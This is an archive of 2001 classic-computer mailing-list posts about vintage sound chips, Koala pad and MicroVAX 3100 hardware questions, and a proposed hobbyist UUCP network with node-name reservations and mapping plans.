canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Sound chips In-Reply-To: Message-ID: <681.566T700T12474505optimus@canit.se> Jeff Hellige skrev: >>Incidentally, Tandy/Radio Shack sold a speech/sound cartridge for the >>CoCo. It contained a microcontroller, an SPO256 speech chip and an >>AY-3-891x sound chip. > Didn't they sell the SPO256 alone, among all the other single >IC's? I know that even recently I've seen their 'speech chip' on the >shelf but have never bothered to notice exactly who's chip it is. Would it be possible to get a hold of an AY-3-891x or compatible nowadays, by any chance? Otherwise, I suppose I can scavenge some Atari carcass. -- En ligne avec Thor 2.6a. Goto: A programming tool that exists to allow structured programmers to complain about unstructured programmers. From optimus at canit.se Fri Jun 15 15:04:50 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Sound chips In-Reply-To: Message-ID: <2402.566T2500T12646021optimus@canit.se> John Honniball skrev: >On 13 Jun 2001 4:38:45 +0100 Iggy Drougge > wrote: >> For those of you who don't know, the CPC had an AY-3-8910. The same chip >> could be found on late Spectrum models and apparently also in the Research >> Machines Nimbus. The Atari ST uses a Yamaha clone of the same chip, called >> YM2149. I believe that the MSX uses such a chip, too. >I think MSX includes the AY-3-8910, yes. So does the >Vectrex vector-scan video game console (6809 CPU). I checked (of course I had a file with MSX info on my hard drive, silly me), and indeed it's got an AY-3-8910, though I wouldn't be surprised if many used the YM2149 considering the Japanese origin of many MSXes. I think I'll have a look in mine, though they are respectively Korean and Hongkongese (I think I just discovered a pothole in the English language =). >> Another question: The Sega Master System and the BBC use an SN76489 sound >> chip. Both the AY/YM chip and the SN one are "PSG" chips. That means that >> they've got three square wave channels and a noise channel which may (at >> least on the AY/YM) be mixed with the square channels. But are those chips >> related, or are they just chips which happen to use the same techniques? >Unrelated, as far as I know. There can't be that much of a difference sound-wise, though, seeing as they're both PSG, right? >Wasn't there an SN76488 sound chip that was analog, as >opposed to the digital SN76489? And has enyone ever seen >or used the Yamaha FM synthesis chip that was upward >compatible with the YM2149? The SN76489, that was a Philips chip, right? It was used in some late eight- bit UK micro, right? Was it the SAM Coup? or the Enterprise? Why not just have a look at the hard drive once again? =) Nope, the Enterprise had a Philips SAA1099. Six channels, eight octaves (don't ask me what that means, I suppose it's some fancy way of saying X to X Hz). So who used the SN chip and who made it? And how does one use an analogue sound chip? This URL, if it still exists, could come in handy: http://www.tardis.ed.ac.uk/~alexios/MACHINE-ROOM/xrefs.html There is a datasheet for the SN76489 at: http://www.nvg.ntnu.no/bbc/doc/datasheets/SN76489.zip It's just a load of scanned images, but can't the data sheets be ordered from the manufacturer, then? -- En ligne avec Thor 2.6a. Computers are not intelligent. They only think they are. From optimus at canit.se Fri Jun 15 16:10:54 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Interest in UUCP? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151151@jeffserver.tegjeff.com> Message-ID: <840.566T2700T13306117optimus@canit.se> Douglas Quebbeman skrev: >> Since most vintage machines can't run TCP/IP but CAN run uucp, would >> there be any interest in a dialup uucp node for retrieving email, files, >> etc specifically geared toward vintage machines? >I've been thnking of this in a bit wider context. >With some of the changes happening on the Internet, it's >not quite as friendly as it used to be. An alternative >network seems like a good solution, and uucp as been >with us for a long time. We could even host rogue USENET >newsgroups. IMO it's the opposite. Everyone's so friendly they've got molasses running out of their arses. What the net would need would be some good olf-fashioned intolerance. -- En ligne avec Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From optimus at canit.se Fri Jun 15 16:19:04 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: <2261.566T200T13394181optimus@canit.se> Anthony Clifton - Retrocomputing.com skrev: >Well, there's lots of ways to transport data. The fastest is to connect your >Windows or Macintosh to an ISP, download files and write them to a compatible >floppy with some disk conversion software. Isn't a network much faster? >Answer 1: But we can already do that! =-D No, we can't. Lack of Windows/Macintosh. >Answer 2: What fun is that??? =-D Exactly, that would require moving about. >I think what I was thinking of was a way to DIRECTLY get mail, news and >files ON TO antique machines without having to use newer machines as an >intermediary. Network. >In other words, a UUCP network of vintage machines all talking to each >other. Of course, there are SOME isps who still support UUCP but the >number is rapidly decreasing. Probably 99% of ISP folks would say, >"UU whatzit? You mean UUnet? Weren't they bought by WorldCom and >MCI? You want a T1? We can sell you a T1!" It's good to be on a real ISP. I wonder if they still offer UUCP services. They did when I first signed up, mostly for sysops. >My thought was a loosely connected network of vintage computers >connected by UUCP and bound together by some part-time (midnight) >dialup servers, which would allow you to send files DIRECTLY from >your Kaypro to someone else's CompuPro. Or from your Commodore >to someone's PDP-11. Who cares about the protocol? If you may run NNTP or SMTP somewhere, why not? If someone prefers Fidonet (which is just as widespread as UUCP), Bluewave or QWK, why not that as well? >I'm reasonably certain you can run UUCP not only on about anything >that has a hard disk but even some things that don't. Hey, Cameron, does the C128 have UUCP? >It also has the advantage of being a) VERY well tested software and >b) not under the control of any monolithic organization. VUNIC? -- En ligne avec Thor 2.6a. But a graphical client/server model that slices the interface down some arbitrary middle is like Solomon following through with his child-sharing strategy. The legs, heart, and left eye end up on the server, the arms and lungs go to the client, the head is left rolling around on the floor, and blood spurts everywhere. Don Hopkins - The Unix hater's handbook; The X-Windows disaster From optimus at canit.se Fri Jun 15 17:00:24 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: A/C for Workstations In-Reply-To: Message-ID: <651.566T1200T13804885optimus@canit.se> Sellam Ismail skrev: >On Thu, 14 Jun 2001, McFadden, Mike wrote: >> I think they make some water cooled units, the heat is dumped into the >> water which is then exhausted as waste. Maybe it could be attached to >> a garden hose. Of course water and computers rarely mix well. >Tell that to IBM. They just introduced a laptop that has an internal >water cooling system :) So does the Dreamcast. That doesn't stop it from having a fan as well, though. IMO that's an abomination, who's ever heard of a console with a fan? -- En ligne avec Thor 2.6a. Fernsehen ist das einzige Schlafmittel, das mit den Augen genommen wird. --- Vittorio de Sica From optimus at canit.se Fri Jun 15 17:52:08 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:32 2005 Subject: Devoted site to the Otrona Attache? In-Reply-To: Message-ID: <832.566T400T14323785optimus@canit.se> XenoSoft skrev: >> > Does anyone know where (if?) there are any sites devoted to the Otrona >> > Attache? I am asking because I not too long ago picked up one of these >> > great little machines (I know, lucky me!) & was wondering how large >> > (small?) the remaining user base is. >For those not familiar, the Otrona was one of the most compact portable >CP/M machines. My Jap Panasonic Mini-5 wordpro is certainly rather compact, and it's got a sticker on the back saying it's got a CP/M licence from DR. I doubt you can do anything on it besides running the integrated word processor on the LCD. I haven't sourced a suitable adapter, so I haven't tried it out yet. =/ -- En ligne avec Thor 2.6a. "The day Microsoft makes something that doesn't suck is probably the day they start making vacuum cleaners" - Ernst Jan Plugge From spectre at stockholm.ptloma.edu Sat Jun 16 01:25:33 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:32 2005 Subject: Interest in UUCP? In-Reply-To: <2261.566T200T13394181optimus@canit.se> from Iggy Drougge at "Jun 15, 1 10:19:04 pm" Message-ID: <200106160625.XAA11076@stockholm.ptloma.edu> > >I'm reasonably certain you can run UUCP not only on about anything > >that has a hard disk but even some things that don't. > > Hey, Cameron, does the C128 have UUCP? I don't believe so. I might write it if I get it working on stockholm. There is a QWKRR client, though, just as a parenthetical mention. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Get out of the road if you want to grow old -- Pink Floyd ------------------ From spectre at stockholm.ptloma.edu Sat Jun 16 01:29:19 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:32 2005 Subject: Koala pad Q In-Reply-To: from Jeff Hellige at "Jun 16, 1 00:10:19 am" Message-ID: <200106160629.XAA11608@stockholm.ptloma.edu> > >Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a > >128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection > >out to tjust the 128D and hopefully I can use this with it and not have to > >hang onto the 64 to keep using the pad. > > I would think it'd work fine. Nearly all the C64 carts I've > tried with the 128D have worked. The main exception is the CP/M > cart. But if you're on a C128, who needs it anyway. I've used the > Koala on my Atari 8bits but have never had the Commodore version. The KoalaPainter cartridge for the C64 works just fine on the C128. Jeff is right -- with the exception of the CP/M cartridge, which doesn't work at all, and the Magic Voice, which requires you to hold down the C= key on bootup to properly initialise the MMU to 64 mode, all 64 cartridges work fine on its bigger brother. There is also a disk version, and then another disk version for the Koala light pen. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- When in doubt, take a pawn. -- Mission: Impossible ("Crack-Up") ------------ From broth at heathers.stdio.com Sat Jun 16 07:48:49 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:32 2005 Subject: Koala pad Q References: Message-ID: <3B2B55B1.1529D420@heathers.stdio.com> WOW! A koala pad. I remember getting one of those for my son when he was 3. He just turned 20. Where the hell did the time go..... Brian. Russ Blakeman wrote: > Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a > 128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection > out to tjust the 128D and hopefully I can use this with it and not have to > hang onto the 64 to keep using the pad. From rhblake at bigfoot.com Sat Jun 16 08:00:51 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:33 2005 Subject: Koala pad Q In-Reply-To: <3B2B55B1.1529D420@heathers.stdio.com> Message-ID: I know, I remember getting a new C64 when mine was 2 or 3 and he turns 22 this August. Never had one of the Koala pads though. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Brian Roth Sent: Saturday, June 16, 2001 7:49 AM To: classiccmp@classiccmp.org Subject: Re: Koala pad Q WOW! A koala pad. I remember getting one of those for my son when he was 3. He just turned 20. Where the hell did the time go..... Brian. Russ Blakeman wrote: > Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a > 128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection > out to tjust the 128D and hopefully I can use this with it and not have to > hang onto the 64 to keep using the pad. From rhblake at bigfoot.com Sat Jun 16 08:02:16 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:33 2005 Subject: Koala pad Q In-Reply-To: <200106160629.XAA11608@stockholm.ptloma.edu> Message-ID: Thanks to all that answered. Cp/m mode isn't important on the Koala anyway. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Cameron Kaiser Sent: Saturday, June 16, 2001 1:29 AM To: classiccmp@classiccmp.org Subject: Re: Koala pad Q > >Just got a new-in-box Koala touch pad for a C64 - anyone ever use one on a > >128D ? I have a 64, 64C, 128 and 128D but I am going to thin the collection > >out to tjust the 128D and hopefully I can use this with it and not have to > >hang onto the 64 to keep using the pad. > > I would think it'd work fine. Nearly all the C64 carts I've > tried with the 128D have worked. The main exception is the CP/M > cart. But if you're on a C128, who needs it anyway. I've used the > Koala on my Atari 8bits but have never had the Commodore version. The KoalaPainter cartridge for the C64 works just fine on the C128. Jeff is right -- with the exception of the CP/M cartridge, which doesn't work at all, and the Magic Voice, which requires you to hold down the C= key on bootup to properly initialise the MMU to 64 mode, all 64 cartridges work fine on its bigger brother. There is also a disk version, and then another disk version for the Koala light pen. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- When in doubt, take a pawn. -- Mission: Impossible ("Crack-Up") ------------ From stefan at softhome.net Sat Jun 16 08:58:31 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:33 2005 Subject: AT&T 353A Adapter Message-ID: <5.1.0.14.0.20010616155355.022efc20@pop.softhome.net> Anybody interested in one or more AT&T 353A adapters ? Here is a quote from the manual : "The 353-type adapters are coaxial-to-twisted-pair baluns that eliminate the need for coaxial cable to connect IBM 3170- and 3270-type data equipment using the Type A protocol. The adapters balance the unbalanced coaxial signals from the IBM equipment so that they are compatible with the unshielded, twisted-pair wiring of the AT&T Premises Distribution System (PDS). By using the 353 adapters at the terminal and controller, you can maintain a data transmission link at a speed of 2,36 Mbps while saving the expense of coaxial cable." If anybody wants more information please let me know. Stefan. http://www.oldcomputercollection.com From vaxcat at retrocomputing.com Sat Jun 16 10:52:37 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: Message-ID: (For those who wish I'd just get to the point, please skip ahead to part 2. =) PART 1 So I'm sitting at the conference/lunch table at work yesterday eating lunch and this local consultant and his assistant walk in to visit. During the conversation, I mention that, if he ever sees old computers at his clients that are to be discarded or need a new home, to let me know as I collect them. He couldn't think of anything but the 17 year old kid I hired this week to do PHP and Linux stuff (He's really impressive!) comes over and says he's got two MicroVax computers that were given to him for free and, because he doesn't know what to do with them, he'll give them to me for free. Just goes to show that the best way to get old machines for free is to just tell people, publicly, that you collect them. It also helps to mention that you won't put them on Ebay. I used to Ebay stuff but I've become DEEPLY disillusioned with Ebay after losing a beautiful set of CCS S100 cards in the last 30 seconds because I bid $2.50 too low. Ebay doesn't account for PASSION and, because of that, I've decided to no longer sell there. No that I would criticize others for doing it. It just doesn't satisfy my need to have things go to a good home instead of ending back up on Ebay. PART 2 At any rate, the 3100s don't have monitors, mice, keyboards. Question 1: Do MicroVax 3100's have monitors, mice or keyboards or do they just use terminals? I've only ever used Microvax Is, IIs and various full size Vaxen. Never owned any any 4 digit pizza boxes. Question 2: Even if they do use tubes and rodents, is it possible to flip a switch or change a jumper to use just a VT220 or something like that and how do I do it? I'm sure this topic has been covered millions of times in the past so please feel free to keep replies off the list unless you think it'd be useful to others. Also, I tried the FAQ at anacin but I've been unable to connect to anacin or other locations where I believe the information to be found. Thanks for your help and suggestions. Anthony Clifton Des Moines, Iowa From healyzh at aracnet.com Sat Jun 16 11:50:19 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: References: Message-ID: >Question 1: Do MicroVax 3100's have monitors, mice or keyboards >or do they just use terminals? I've only ever used Microvax Is, IIs >and various full size Vaxen. Never owned any any 4 digit pizza boxes. MicroVAX 3100's don't, VAXstation 3100's do. >Question 2: Even if they do use tubes and rodents, is it possible to >flip a switch or change a jumper to use just a VT220 or something >like that and how do I do it? If it's a VAXstation 3100 you can do this, if it's a MicroVAX 3100, I honestly don't know if you'd need to. Personally I've never tried to hook a tube to a 3100, and have never wanted to, but then I've only got one. >Also, I tried the FAQ at anacin but I've been unable to connect to >anacin or other locations where I believe the information to be found. Bummer, I hope it's not gone, I refer to the one table there regularly, and don't think I've ever gotten smart and copied it. I can't get to it either. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From vance at ikickass.org Sat Jun 16 11:54:12 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106152134.OAA10196@stockholm.ptloma.edu> Message-ID: I want "ikickass". 8-) Peace... Sridhar On Fri, 15 Jun 2001, Cameron Kaiser wrote: > > Can you kindly reserve the name "mystica" in your UUCP map, which is > > the name that my machines once used? > > Dibs on "stockholm" when I get this thing running. > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu > -- They make a desert and call it peace. -- Tacitus --------------------------- > From korpela at ssl.berkeley.edu Sat Jun 16 12:01:29 2001 From: korpela at ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <992652892.3b2aae5c20eed@email.ou.edu> from "Jeffrey S. Sharp" at "Jun 15, 2001 07:54:52 pm" Message-ID: <200106161701.KAA23276@homer.ssl.berkeley.edu> > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > I'd like to keep using "kumiss" > > Please give me "lepton". I've never even *used* UUCP before, but > darnit, this will be fun and educational. I could be presumptuous and claim "ucbvax", but I won't. I've forgotten what the character limit for names is. I'd like to reserve "sandkings" if it doesn't exceed the limit. I'll drop the trailing "s" if it does. Eric From bdc at world.std.com Sat Jun 16 12:02:54 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:33 2005 Subject: Further thoughts on VUNIC [was Re: Announcing VUNIC/VUnet] In-Reply-To: <200106160134.f5G1YTr21123@narnia.int.dittman.net> Message-ID: On Fri, 15 Jun 2001, Eric Dittman wrote: > > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > > > I'd like to keep using "kumiss" > > > > Please give me "lepton". I've never even *used* UUCP before, but > > darnit, this will be fun and educational. > > I'd like "narnia", which is my old UUCP node name. It sounds like VUNIC/VUnet will need to implement a central name registration service as one of its first tasks :-) Might I suggest that as part of this name registration database, people also record their ICBM coordinates. This way, not only can we define a logical structure for the UUCP network, but we can project it onto a physical map as well. Another big question which arises is what will the topology of the network be like? At least as far as TCP/IP connected nodes are concerned. Back in the original days of UUCP, this was significantly influenced by the costs of local and toll phone charges. You'd want to minimize the phone service costs by connecting to the least expensive site for your UUCP feed. With TCP/IP internet access, it now becomes equally cheap to connect to any other TCP/IP based VUNIC site. So which path do you choose? Or does that even matter? I first got onto the net in 1989. UUCP was still in wide use, but by the time I got fairly sophisticated in my net knowledge, TCP/IP had almost completely displaced UUCP as a means for pushing data around. I do thing it would be very smart, and perhaps immensely useful later, to register node info in some sort of central repository with replication abilities. I would strongly suggest something LDAP based, like say the UMich OpenLDAP server. And then for older systems without support for the LDAP client API, we could perhaps design some lighter-weight means by which they can access the same information stored in an LDAP server. Types of information which I think would be useful to record for each node would include things like the following: * Unique site name * Unique site ID# * ID(s) of sites upstream to which you can connect. * Latitude/longitude coordinates * Whether the node supports TCP/IP connectivity and at what speed. * Dialup phone number(s) by which the site is accessible. (Maybe broken down into subfields which include country access code, region code, and then the phone number). * (Packet radio specific information?) With some of this information, it should be possible to dynamically structure the maps in such a way that the highest speed TCP/IP based sites can form a "backbone" for traffic. Okay, so it's maybe overkill for how our traffic would be taxing things :-) Hey, isn't UUCP considered peer-to-peer networking? -brian. From ard at p850ug1.demon.co.uk Sat Jun 16 12:39:52 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:33 2005 Subject: Sound chips In-Reply-To: <2402.566T2500T12646021optimus@canit.se> from "Iggy Drougge" at Jun 15, 1 09:04:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1775 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010616/aa49b2e8/attachment.ksh From chris at mainecoon.com Sat Jun 16 15:03:51 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106161701.KAA23276@homer.ssl.berkeley.edu> Message-ID: I'd like 'tempest'. BTW, has anyone actually started constructing a map? -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From cfandt at netsync.net Sat Jun 16 15:56:45 2001 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 19:04:33 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: Message-ID: <4.1.20010616165316.00bb36b0@206.231.8.2> Upon the date 05:57 PM 6/15/01 -0600, Will Jennings said something like: >Uh, they were used a lot for mechanical CAD... my dad's company's main >product was mechanical CAD based on Apollos, screw that AutoDesk crapola... >Never heard of Auto-Trol? Yep. Back in the 70's and early 80's the company I worked for was the Analytical Systems Division of Bausch & Lomb (which became ACU-RITE Incorporated in '83.) We made the linear encoder scales for your dad's product. -Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.antiquewireless.org/ From spectre at stockholm.ptloma.edu Sat Jun 16 16:12:32 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: from Chris Kennedy at "Jun 16, 1 01:03:51 pm" Message-ID: <200106162112.OAA02658@stockholm.ptloma.edu> > I'd like 'tempest'. BTW, has anyone actually started constructing > a map? I haven't even figured out how to configure uucpd! :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- A witty saying proves nothing. -- Voltaire --------------------------------- From vaxcat at retrocomputing.com Sat Jun 16 16:30:45 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:33 2005 Subject: VUNIC/VUnet Update In-Reply-To: References: <200106161701.KAA23276@homer.ssl.berkeley.edu> Message-ID: I'm going to begin constructing a map in about two weeks when I really get going on this. I have some equipment pickups over the next week or so of some Sun equipment, some Microvaxen and some basement cleanup I'm working on. After that, I'm going to put up the web page, which will have an interface to the map database, name registration forms, etc. The thing will be dirt simple and ugly but we won't let that trouble us. =) In the meantime, I'm reserving names on a first-come-first-served basis. I may have to come back to folks and collect further information so the database will be compatible with the UUCP Mapping Project databases, which they discontinued last year. One concern I have is that, even though I've stated that my purpose is primarily to help Vintage computer collectors, that the general UUCP will want me to maintain a GLOBAL map. I'm not opposed to this but I'd need ALOT of help to keep it up to date, etc. Or maybe not. But, sometimes, if you build it, then will come. Anthony Clifton Des Moines, Iowa >I'd like 'tempest'. BTW, has anyone actually started constructing >a map? > >-- >Chris Kennedy From optimus at canit.se Sat Jun 16 19:48:30 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: Message-ID: <1428.568T1500T1085221optimus@canit.se> Anthony Clifton - Retrocomputing.com skrev: >Just goes to show that the best way to get old machines for free is to >just tell people, publicly, that you collect them. It also helps to mention >that you won't put them on Ebay. I used to Ebay stuff but I've become >DEEPLY disillusioned with Ebay after losing a beautiful set of CCS S100 >cards in the last 30 seconds because I bid $2.50 too low. Got to try that some time. OTOH, I only wish there were an eBay around here. OTOH, the lack thereof gives me at least some breathing space in my room. =) >At any rate, the 3100s don't have monitors, mice, keyboards. >Question 1: Do MicroVax 3100's have monitors, mice or keyboards >or do they just use terminals? I've only ever used Microvax Is, IIs >and various full size Vaxen. Never owned any any 4 digit pizza boxes. If they've got such capabilities, they're called VAXstations. Look at the back of the MicroVAX. The only ports around there are serial ports, SCSI and Ethernet, IIRC. >Question 2: Even if they do use tubes and rodents, is it possible to >flip a switch or change a jumper to use just a VT220 or something >like that and how do I do it? Plug it in, plug it in. Assuming you've got a real VT with those odd modular connectors, at least. Or is there a magic switch for using the DB25 on the back, pray tell? -- En ligne avec Thor 2.6a. The first rule of intelligent tinkering is to save all the parts. From optimus at canit.se Sat Jun 16 19:16:22 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:33 2005 Subject: IBM Infowindow Message-ID: <1015.568T1100T765217optimus@canit.se> I was strolling in some suburb this evening when I found an old PS/2 monitor abandoned in a parking lot. Only it was no monitor, but an IBM Infowindow terminal. I really liked the flattish, grey screen, but it was a bit too heavy to carry, particularly since there was no underground nearby. I did however snatch the D15->twinax cable, which was a fancy plastic construction, as opposed to the heavy-duty metal thing I've had before. It seems that every other PS/2 I get has been used as some IBM mainframe terminal. It was a sad parting, but would that terminal have done me any good? I've read that IBM terminals are not really interactive, but just glorified punched cards. The hardware interface doesn't make things easier, either. The terminal had a female DB25 as well on the back, I suppose that was for a printer and no serial async connection? -- En ligne avec Thor 2.6a. Idealismus ist die F?higkeit, die Menschen so zu sehen, wie sie sein k?nnten, wenn sie nicht so w?ren, wie sie sind. --- Curt Goetz From pechter at bg-tc-ppp1633.monmouth.com Sat Jun 16 19:06:11 2001 From: pechter at bg-tc-ppp1633.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:33 2005 Subject: UUCP -- uucpd (for those interested in the source code) In-Reply-To: <200106162112.OAA02658@stockholm.ptloma.edu> from Cameron Kaiser at "Jun 16, 2001 02:12:32 pm" Message-ID: <200106170006.f5H06DH51937@bg-tc-ppp1633.monmouth.com> > > I'd like 'tempest'. BTW, has anyone actually started constructing > > a map? > > I haven't even figured out how to configure uucpd! :-) > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu Ask and you shall receive. >From /etc/inetd.conf -- FreeBSD 4.3-STABLE uucpd stream tcp nowait root /usr/libexec/uucpd uucpd Bill Here's the source code for FreeBSD's uucpd -- which should be fairly portable. I normally wouldn't send it to the whole group but it's very small. The rest of uucp can be picked up from the gnu sites. I'm willing to help with the mapping project and to act as a resource to help people get uucp up. I've done it under DOS, SysV, BSD, Linux, Coherent, OS/2... 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M@.>1Q`7/JW@>ITG!.K from Brian Chase at "Jun 16, 2001 12:02:54 pm" Message-ID: <200106170015.f5H0Ftl68832@bg-tc-ppp1633.monmouth.com> > On Fri, 15 Jun 2001, Eric Dittman wrote: > It sounds like VUNIC/VUnet will need to implement a central name > registration service as one of its first tasks :-) > > Might I suggest that as part of this name registration database, people > also record their ICBM coordinates. This way, not only can we define a > logical structure for the UUCP network, but we can project it onto a > physical map as well. Yup... this was done on the old UUCP maps as well. > > Another big question which arises is what will the topology of the network > be like? At least as far as TCP/IP connected nodes are concerned. Back in > the original days of UUCP, this was significantly influenced by the costs > of local and toll phone charges. You'd want to minimize the phone service > costs by connecting to the least expensive site for your UUCP feed. We need regional hub like systems with TCP/IP and dial-up connectivity to route the traffic over the internet to save $$$. > > With TCP/IP internet access, it now becomes equally cheap to connect to > any other TCP/IP based VUNIC site. So which path do you choose? Or does > that even matter? I first got onto the net in 1989. UUCP was still in > wide use, but by the time I got fairly sophisticated in my net knowledge, > TCP/IP had almost completely displaced UUCP as a means for pushing data > around. I think we need to revisit the use of the old map making utilities which routed pechter@i4got.uucp to ihnp4!decvax!pyramid!pyred!pyrnj!pyrite!pechter. > > Types of information which I think would be useful to record for each node > would include things like the following: > > * Unique site name > * Unique site ID# > * ID(s) of sites upstream to which you can connect. > * Latitude/longitude coordinates > * Whether the node supports TCP/IP connectivity and at what speed. > * Dialup phone number(s) by which the site is accessible. > (Maybe broken down into subfields which include country access code, > region code, and then the phone number). > * (Packet radio specific information?) > > With some of this information, it should be possible to dynamically > structure the maps in such a way that the highest speed TCP/IP based sites > can form a "backbone" for traffic. > > Okay, so it's maybe overkill for how our traffic would be taxing things :-) > Hey, isn't UUCP considered peer-to-peer networking? Nope... it's all necessary and Peter Honeyman, I think, did all the utilities we need... Just got to web search up and rebuild them. I used to have a full map set in place on a machine with 3mb of memory and 80mb of disk. Took a couple of hours to generate the map which looked something like this in text form. (Anyone remember the name for the map programs to generate this stuff... I'm embarrased to say I forgot the names and stuff.) i4got: decvax!pyred!pyrnj!pyrite!i4got Sure is peer-to-peer. Supports email, remote printing, remote job execution, file transfer... pretty slick for stuff that did it all over RS232 and often slow modems. > > -brian. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1633.monmouth.com Sat Jun 16 19:20:07 2001 From: pechter at bg-tc-ppp1633.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:33 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106161701.KAA23276@homer.ssl.berkeley.edu> from "Eric J. Korpela" at "Jun 16, 2001 10:01:29 am" Message-ID: <200106170020.f5H0K7v70097@bg-tc-ppp1633.monmouth.com> > > > > Can you kindly reserve the name "mystica" in your UUCP map > > > > > > I'd like to keep using "kumiss" > > > > Please give me "lepton". I've never even *used* UUCP before, but > > darnit, this will be fun and educational. > > I could be presumptuous and claim "ucbvax", but I won't. I've forgotten > what the character limit for names is. I'd like to reserve "sandkings" > if it doesn't exceed the limit. I'll drop the trailing "s" if it does. > > Eric I think the limit was the same as the host's uname which I think was normally 8 chars or less... IIRC. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1633.monmouth.com Sat Jun 16 19:23:52 2001 From: pechter at bg-tc-ppp1633.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:33 2005 Subject: MicroVax 3100 Question & Asking for Computers In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at "Jun 16, 2001 10:52:37 am" Message-ID: <200106170023.f5H0Nrg74251@bg-tc-ppp1633.monmouth.com> > Question 1: Do MicroVax 3100's have monitors, mice or keyboards > or do they just use terminals? I've only ever used Microvax Is, IIs > and various full size Vaxen. Never owned any any 4 digit pizza boxes. Well the VS3100's can use either. The keyboard's the LK201 from the VT220 or later DEC terminals. (I think they can use the LK401 as well). The mouse is the VSXXX-AA. The video monitor 